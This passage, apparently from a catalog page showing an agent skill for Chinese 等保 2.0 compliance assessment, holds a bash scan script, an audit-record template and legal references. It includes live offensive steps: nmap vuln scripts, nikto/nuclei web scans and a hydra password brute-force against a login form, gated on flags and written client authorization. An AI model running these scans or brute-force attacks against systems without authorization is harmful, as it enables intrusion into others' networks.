done < "${REPORT_BASE}/01_asset_discovery/hosts.list"

# =============================================
# 阶段3: 漏洞扫描
# =============================================
log_info "阶段3: 漏洞扫描"

log_info "  3.1 常见CVE检测..."
nmap --script vuln --script-timeout 60s \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/07_vuln_scan" \
    --exclude "${EXCLUDE_IPS:-}" || log_warn "  vuln 脚本部分超时"

log_info "  3.2 数据库安全检测..."
# MySQL
nmap -p 3306 --script mysql-empty-password,mysql-enum \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/08_mysql" 2>/dev/null || true

# Redis
nmap -p 6379 --script redis-info \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/09_redis" 2>/dev/null || true

# MongoDB
nmap -p 27017 --script mongodb-info \
    -iL "${REPORT_BASE}/01_asset_discovery/hosts.list" \
    -oA "${REPORT_BASE}/03_vulnerability_scan/10_mongodb" 2>/dev/null || true

# =============================================
# 阶段4: 渗透测试(可选)
# =============================================
if [ "${ENABLE_PENTEST:-false}" = "true" ]; then
    log_warn "阶段4: 渗透测试(已启用)"

    if [ -n "${TARGET_WEB_URL:-}" ]; then
        log_info "  4.1 Web漏洞扫描..."
        nikto -h "${TARGET_WEB_URL}" -output "${REPORT_BASE}/04_pentest/nikto_report.html" \
            -Format html 2>/dev/null || log_warn "  nikto 执行异常"

        nuclei -u "${TARGET_WEB_URL}" -silent \
            -o "${REPORT_BASE}/04_pentest/nuclei_report.txt" 2>/dev/null || \
            log_warn "  nuclei 执行异常"
    fi

    if [ "${ENABLE_BRUTEFORCE:-false}" = "true" ] && [ -n "${TARGET_WEB_URL:-}" ]; then
        log_warn "  4.2 口令爆破(需确认授权)..."
        hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt \
            -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt \
            "${TARGET_WEB_IP:-${TARGET_WEB_URL}}" http-post-form \
            "/login:user=^USER^&pass=^PASS^:F=error" 2>/dev/null || true
    fi
else
    log_info "阶段4: 渗透测试(已跳过,设置 ENABLE_PENTEST=true 启用)"
fi

# =============================================
# 阶段5: 等保三级 - 安全管理中心
# =============================================
if [ "$LEVEL" -ge 3 ] && [ -n "${MANAGER_NETWORK:-}" ]; then
    log_info "阶段5: 安全管理中心检测(等保${LEVEL}级要求)"
    nmap -sn "${MANAGER_NETWORK}" -oA "${REPORT_BASE}/02_baseline_check/11_manager_network" 2>/dev/null || true
fi

# =============================================
# 汇总报告
# =============================================
log_info "========================================="
log_info "扫描完成,生成汇总..."
log_info "========================================="

# 汇总高危发现
echo "=== 高危发现汇总 ===" > "${REPORT_BASE}/findings_summary.txt"
grep -rn 'VULNERABLE\|Critical\|High\|高危\|严重\|CVE-' \
    "${REPORT_BASE}/" --include="*.txt" --include="*.nmap" 2>/dev/null \
    >> "${REPORT_BASE}/findings_summary.txt" || echo "  未发现明显高危项" >> "${REPORT_BASE}/findings_summary.txt"

cat <<EOF
=========================================
  等保${LEVEL}级测评自动化扫描完成
=========================================
  报告目录: ${REPORT_BASE}
  ├── 01_asset_discovery/   # 资产发现
  ├── 02_baseline_check/    # 基线检查
  ├── 03_vulnerability_scan/ # 漏洞扫描
  ├── 04_pentest/           # 渗透测试
  └── 05_logs/              # 执行日志

  → 汇总文件: ${REPORT_BASE}/findings_summary.txt
=========================================
  下一步:
  1. 执行各安全域"访谈"环节
  2. 远程登录目标主机执行"核查"命令(见本技能2.4节)
  3. 将访谈/核查结果填入测评记录表
  4. 使用 report_collector.sh 生成最终报告
=========================================
EOF

附录C:测评记录模板(CSV)

csv
安全域,控制点,测评指标编号,指标描述,测评方法,测评结果(符合/部分符合/不符合),问题描述,关联工具命令,截图编号
安全计算环境,身份鉴别,a),操作系统是否存在空口令账户,核查+测试,,,awk -F: ... /etc/shadow,
安全计算环境,身份鉴别,b),是否配置密码复杂度策略,核查+测试,,,cat /etc/pam.d/common-password,
安全计算环境,身份鉴别,c),是否配置登录失败锁定策略,核查+测试,,,grep pam_tally2 /etc/pam.d/,
安全计算环境,身份鉴别,d),远程管理是否加密,核查+测试,,,nmap --script ssl-enum-ciphers,
安全计算环境,访问控制,a),是否限制默认账户访问,核查,,,cat /etc/passwd | grep -E,
安全区域边界,访问控制,a),边界设备访问控制策略是否默认拒绝,访谈+核查+测试,,,nmap --script firewall-bypass,
安全通信网络,通信传输,a),通信传输是否加密,核查+测试,,,,testssl.sh,
安全管理中心,集中管控,a),是否部署集中安全管理平台,访谈+核查,,,,nmap -p 443 管理网段,

附录D:法律法规依据

法规/标准编号用途
网络安全法中华人民共和国主席令等保法律依据
信息安全等级保护管理办法公通字[2007]43号等保制度依据
等保基本要求GB/T 22239-2019安全技术要求基线
等保测评要求GB/T 28448-2019测评方法和判定
等保安全设计技术要求GB/T 25070-2019新系统建设参考
等保实施指南GB/T 25058-2019全流程实施指引
商用密码应用安全性评估GM/T 0054-2018密码应用合规性

使用说明

  1. 环境: Kali Linux,确保工具已安装(nmap/masscan/sqlmap/hydra/testssl/nikto/nuclei等)
  2. 授权: 必须取得客户书面授权书,明确测评范围和允许的操作
  3. 流程: 严格按六阶段执行——定级确认→差距分析→现场测评→整改建议→复测→报告
  4. 等级区分: 二级侧重网络+计算环境+区域边界;三级在此基础上增加安全管理中心
  5. 三种方法: 每项指标必须通过"访谈+核查+测试"三维交叉验证
  6. 记录留痕: 所有测试操作截图、命令输出均需存档作为测评证据

© openocta, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in 等保测评skill of openocta/openocta_skills.

Open the folder on GitHubat commit 6ac4479

Compare with similar skills

Djbh Assessment next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.

Djbh Assessment compared with similar skills
SkillStarsUsed inTokensAuto-checkLicenceRepo updated
Djbh Assessment this skillopenocta/openocta_skills167—~6.3kAutomated safety check: NotesMIT
Detecting T1548 Abuse Elevation Control Mechanismmukul975/Anthropic-Cybersecurity-Skills34k—~1.5kAutomated safety check: NotesApache-2.0
Network Scannerptn1411/skill219—~1.4kAutomated safety check: NotesNone
Code Audit3stoneBrother/code-audit8921 repos~2.7kAutomated safety check: PassNone
Fix Strix Security Findingsusestrix/strix68k—~1.5kAutomated safety check: PassApache-2.0
Add Community Skillsamugit83/redamon3k—~775Automated safety check: PassMIT

Similar skills

  • Detecting T1548 Abuse Elevation Control Mechanism

    mukul975/Anthropic-Cybersecurity-Skills

    Detect abuse of elevation control mechanisms (T1548), including Windows UAC bypass via auto-elevating binaries like fodhelper.exe and Linux sudo/setuid/setgid exploitation, by monitoring registry…

    34k GitHub stars~1.5k tokensUpdated 1 mo ago
    SecurityAuto-check: notes
  • Network Scanner

    ptn1411/skill

    Run authorized network reconnaissance with Nmap on Windows (or Linux).

    219 GitHub stars~1.4k tokensUpdated 18 days ago
    SecurityAuto-check: notes
  • Code Audit

    3stoneBrother/code-audit

    Professional code security audit skill covering 55+ vulnerability types.

    892 GitHub starsUsed in 1 repo~2.7k tokens
    SecurityAuto-check passed
  • Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.

    68k GitHub stars~1.5k tokensUpdated today
    SecurityAuto-check passed
  • Add Community Skill

    samugit83/redamon

    Adding a Community Agent Skill: a Markdown attack-workflow file that users import from the catalog, which then competes in the Intent Router and is injected into the agent's system prompt.

    3k GitHub stars~775 tokensUpdated yesterday
    SecurityAuto-check passed
  • Game Automation

    rehan-remade/universal-modder

    Launch, see and drive a real game so an agent can test its own mods.

    6.1k GitHub stars~1.9k tokensUpdated today
    SecurityAuto-check passed

More from openocta/openocta_skills

All 8 skills in this repo
  • Mysql Full Inspection Skill

    openocta/openocta_skills

    对远程多实例MySQL数据库执行全方位深度巡检,覆盖基础健康、连接负载、性能慢查询、索引冗余、主从复制、容量空间、账号安全、配置风险八大维度,全自动完成巡检扫描、风险识别、问题定级、优化建议、报告归档与飞书推送,适用于生产/测试所有运行中MySQL实例常态化合规巡检。适用场景:用户要求进行 MySQL 全链路健康检查、MySQL 综合巡检、MySQL 风险扫描、MySQL 性能审计、MySQL…

    167 GitHub stars~2k tokensUpdated 3 mo ago
    Auto-check passed
  • Server Patrol

    openocta/openocta_skills

    Linux 与网络设备只读健康巡检;直接运行 scripts/patrol.sh,配置由平台侧信道注入,Agent 不读取环境变量

    167 GitHub stars~522 tokensUpdated 3 mo ago
    Auto-check passed
  • Wechat Gzh Analyzer

    openocta/openocta_skills

    分析微信公众号后台数据,包括文章阅读量、评论、点赞等统计。当用户需要分析微信公众号数据、导出公众号文章统计报表时调用此技能。

    167 GitHub stars~2.6k tokensUpdated 3 mo ago
    Auto-check passed
  • Mysql Deadlock Analyzer

    openocta/openocta_skills

    Full-chain MySQL deadlock analysis. An agent skill from openocta/openocta_skills.

    167 GitHub stars~2.2k tokensUpdated 3 mo ago
    Auto-check passed
  • Mysql Replication Lag Resolver

    openocta/openocta_skills

    Replication lag root cause analysis with automated resolution workflow.

    167 GitHub stars~2.6k tokensUpdated 3 mo ago
    Auto-check passed
  • Mysql Slow Query Diagnose

    openocta/openocta_skills

    Slow query diagnosis with root cause analysis and index optimization recommendations.

    167 GitHub stars~2.7k tokensUpdated 3 mo ago
    Auto-check passed

Works with

Categories

Questions about Djbh Assessment

What does Djbh Assessment do?

Invoke for 等保2.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T…. Djbh Assessment is an agent skill from openocta/openocta_skills.0 full-lifecycle assessment on corporate networks on Kali Linux: classification, gap analysis, baseline audit, vuln scanning, penetration testing, and compliance reporting per GB/T 22239-2019.

When should I use Djbh Assessment?

Djbh Assessment fits situations like: tasks that involve Penetration testing.

How do I install Djbh Assessment in Claude Code?

Run `npx skills add openocta/openocta_skills --skill djbh-assessment -a claude-code`. Or copy the skill folder (等保测评skill in openocta/openocta_skills) into .claude/skills/djbh-assessment in your project. Claude Code loads it when a task matches its description.

How do I install Djbh Assessment in Codex?

Run `npx skills add openocta/openocta_skills --skill djbh-assessment -a codex`. Or copy the skill folder (等保测评skill in openocta/openocta_skills) into .agents/skills/djbh-assessment in your project. Codex loads it when a task matches its description.

Can I use Djbh Assessment in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add openocta/openocta_skills --skill djbh-assessment -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/djbh-assessment, .gemini/skills/djbh-assessment, .github/skills/djbh-assessment and .opencode/skills/djbh-assessment in your project.

What does Djbh Assessment need to run?

Going by SKILL.md and its folder, Djbh Assessment needs the command-line tools its instructions call (curl, python3, rsync, openssl, wget and jq).

Does Djbh Assessment access the network?

SKILL.md contains no URLs. Its commands use curl, wget and ssh, which can reach the network depending on how they are called. This is read from the text; nothing was executed.

Is Djbh Assessment safe to install?

Our automated static check of SKILL.md found notes only (mentions a .env file), nothing it rates as a warning. It is not a guarantee. Review the folder before installing.

What licence does Djbh Assessment use?

Djbh Assessment is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Djbh Assessment use?

About 6.3k tokens (SKILL.md is roughly 25k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.

What are the alternatives to Djbh Assessment?

Skills that share tags, products or a category with Djbh Assessment: Detecting T1548 Abuse Elevation Control Mechanism (mukul975/Anthropic-Cybersecurity-Skills, 34k stars), Network Scanner (ptn1411/skill, 219 stars), Code Audit (3stoneBrother/code-audit, 892 stars) and Fix Strix Security Findings (usestrix/strix, 68k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Djbh Assessment?

openocta (a GitHub user) maintains it in openocta/openocta_skills, which has 167 GitHub stars. The repository holds 8 skills in this directory. The repository was last updated on June 22, 2026.

Source: openocta/openocta_skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.